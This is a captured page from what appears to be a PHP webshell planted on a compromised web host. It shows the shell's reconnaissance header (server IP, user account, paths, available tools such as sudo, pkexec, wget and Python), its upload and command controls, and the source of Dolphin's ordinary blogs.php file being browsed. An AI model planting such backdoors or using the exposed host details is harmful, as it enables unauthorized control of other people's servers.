403Webshell
Server IP : 216.92.14.13  /  Your IP : 216.73.216.171
Web Server : Apache
System : Linux vps4089.pairvps.com 5.15.0-190-generic #200-Ubuntu SMP Fri Aug 7 15:06:04 UTC 2026 x86_64
User : rmlac2fmr ( 1040637)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/home/rmlac2fmr/public_html/fm/dolphin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/home/rmlac2fmr/public_html/fm/dolphin/blogs.php
<?

/***************************************************************************
*                            Dolphin Smart Community Builder
*                              -----------------
*     begin                : Mon Mar 23 2006
*     copyright            : (C) 2006 BoonEx Group
*     website              : http://www.boonex.com/
* This file is part of Dolphin - Smart Community Builder
*
* Dolphin is free software. This work is licensed under a Creative Commons Attribution 3.0 License. 
* http://creativecommons.org/licenses/by/3.0/
*
* Dolphin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
* See the Creative Commons Attribution 3.0 License for more details. 
* You should have received a copy of the Creative Commons Attribution 3.0 License along with Dolphin, 
* see license.txt file; if not, write to marketing@boonex.com
***************************************************************************/

require_once( 'inc/header.inc.php' );
require_once( BX_DIRECTORY_PATH_INC . 'design.inc.php' );
require_once( BX_DIRECTORY_PATH_INC . 'profiles.inc.php' );
require_once( BX_DIRECTORY_PATH_INC . 'utils.inc.php' );

require_once( BX_DIRECTORY_PATH_CLASSES . 'BxDolBlogs.php' );

// --------------- page variables and login

$_page['name_index']	= 49;
$_page['css_name']		= 'blogs.css';

check_logged();

$_page['header'] = _t( "_Blogs" );
$_page['header_text'] = _t( "_Blogs" );

$_ni = $_page['name_index'];

$_page_cont[$_ni]['page_main_code'] = PageCompBlogs();

$_page['extra_js'] = $oTemplConfig -> sTinyMceEditorMiniJS;

function PageCompBlogs() {
    global $site;
	global $date_format;

	$sRetHtml = '';

	$oBlogs = new BxDolBlogs(FALSE);
	$sRetHtml .= $oBlogs -> PrintCommandForms();
	//$oBlogs->iVisitorID = (int)$_COOKIE['memberID'];
	//$oBlogs->iOwnerID = isset($_REQUEST['ownerID']) ? (int)$_REQUEST['ownerID'] : $oBlogs->iVisitorID;

	switch ( $_REQUEST['action'] ) {
		case 'top_blogs':
			$sRetHtml .= $oBlogs->GenBlogLists('top');
			break;
		case 'top_posts':
			$sRetHtml .= $oBlogs->GenPostLists('top');
			break;
		/*case 'mode':
			$sRetHtml .= $oBlogs->GenBlogLists();
			break;*/
		case 'delete_blog':
			$sRetHtml .= $oBlogs->DeleteBlogSQL();
			Header( "Location: {$_SERVER['PHP_SELF']}" );
			break;
		case 'edit_blog':
			$sRetHtml .= $oBlogs->EditBlog();
			$iBlogID = (int)($_POST['EditBlogID']);
			$iOwnerID = (int)($_REQUEST['OwnerID']);
			//Header( "Location: {$_SERVER['PHP_SELF']}?action=show_member_blog&ownerID={$iBlogID}" );
			$sRetHtml .= $oBlogs->GenMemberBlog($iOwnerID);
			break;
		case 'edit_post':
			$iPostID = (int)($_POST['EditPostID']);
			$sRetHtml .= $oBlogs->AddNewPostForm($iPostID);
			//$iPostID = (int)($_POST['EditPostID']);
			break;
		case 'post_updated':
			// $sRetHtml .= $oBlogs->EditPost();
			// $iPostID = (int)($_POST['EditedPostID']);
			// $_REQUEST['post_id'] = $iPostID;
			// $sRetHtml .= $oBlogs->GenPostPage();
			//Header( "Location: {$_SERVER['PHP_SELF']}?action=show_member_blog&ownerID={$iPostID}" );

			$iPostID = (int)($_POST['EditedPostID']);

			$arrPostAdv = $oBlogs -> FillPostArrByPostValues();//validating
			$arrErr = $oBlogs -> checkGroupErrors( $arrPostAdv );
			if( empty( $arrErr ) ) {
				$sRetHtml .= $oBlogs->EditPost();
				//$iPostID = (int)($_POST['EditedPostID']);
				$_REQUEST['post_id'] = $iPostID;
				$sRetHtml .= $oBlogs->GenPostPage();
			} else {
				$sRetHtml .= $oBlogs -> AddNewPostForm($iPostID, $arrErr);
			}
			break;
		case 'delete_post':
			$sRetHtml .= $oBlogs->DeletePost();
			$iPostID = (int)($_POST['DeletePostID']);
			$_REQUEST['ownerID'] = $oBlogs->aBlogConf['visitorID'];
			$sRetHtml .= $oBlogs->GenMemberBlog();
			//Header( "Location: {$_SERVER['PHP_SELF']}?action=show_member_blog&ownerID={$iPostID}" );
			break;
		case 'show_member_blog':
			$sRetHtml .= $oBlogs->GenMemberBlog();
			break;
		case 'show_member_post':
			$sRetHtml .= $oBlogs->GenPostPage();
			break;
		case 'add_category':
			$sRetHtml .= $oBlogs->editCategoryForm();
			break;
		case 'edit_category':
			$iCategoryID = (int)($_REQUEST['categoryID']);
			$sRetHtml .= $oBlogs->editCategoryForm($iCategoryID);
			break;
		case 'addcategory':
			$sRetHtml .= $oBlogs->updateCategory();
			$iOwnerID = (int)($_REQUEST['OwnerID']);
			$_REQUEST['category'] = mysql_insert_id();
			$sRetHtml .= $oBlogs->GenMemberBlog($iOwnerID);
			break;
		case 'editcategory':
			$sRetHtml .= $oBlogs->updateCategory(TRUE);
			$iOwnerID = (int)($_REQUEST['OwnerID']);
			$_REQUEST['category'] = mysql_insert_id();
			$sRetHtml .= $oBlogs->GenMemberBlog($iOwnerID);
			break;
		case 'delete_category':
			$sRetHtml .= $oBlogs->DeleteCategory();
			break;
		case 'addcomment':
			$sRetHtml .= $oBlogs->addBlogComment();
			$iPostID = (int)($_POST['CommPostID']);
			$iOwnerID = (int)($_POST['ownerID']);
			//Header( "Location: {$_SERVER['PHP_SELF']}?action=show_member_post&post_id={$iPostID}&ownerID={$iOwnerID}" );
			$_REQUEST['post_id'] = $iPostID;
			$sRetHtml .= $oBlogs->GenPostPage();
			break;
		case 'editcomment':
			$sRetHtml .= $oBlogs->EditComment();
			$iPostID = (int)($_POST['EPostID']);
			$iOwnerID = (int)($_POST['ownerID']);
			$_REQUEST['post_id'] = $iPostID;
			$sRetHtml .= $oBlogs->GenPostPage();
			break;
		case 'delete_comment':
			$sRetHtml .= $oBlogs->DeleteComment();
			$iPostID = (int)($_POST['DPostID']);
			$iOwnerID = (int)($_POST['ownerID']);
			$_REQUEST['post_id'] = $iPostID;
			$sRetHtml .= $oBlogs->GenPostPage();
			break;
		case 'new_post':
			$sRetHtml .= $oBlogs->AddNewPostForm();
			break;
		case 'add_post'://add post
			$arrPostAdv = $oBlogs -> FillPostArrByPostValues();//validating
			$arrErr = $oBlogs -> checkGroupErrors( $arrPostAdv );
			if( empty( $arrErr ) ) {
				$iLastID = -1;
				$sRetHtml .= $oBlogs->AddNewPost($iLastID);
				$_REQUEST['post_id'] = $iLastID;
				$sRetHtml .= $oBlogs->GenPostPage();
			} else {
				$sRetHtml .= $oBlogs -> AddNewPostForm(-1, $arrErr);
			}
			break;
		case 'search_by_tag':
			$sRetHtml .= $oBlogs->ShowSearchResult();
			break;
		case 'create_blog':
			$sRetHtml .= $oBlogs->CreateBlog();
			break;
		default:
			$sRetHtml .= $oBlogs->GenBlogLists('last');
			break;
	}

	return $sRetHtml;
}

PageCode();

?>

Youez - 2016 - github.com/yon3zu
LinuXploit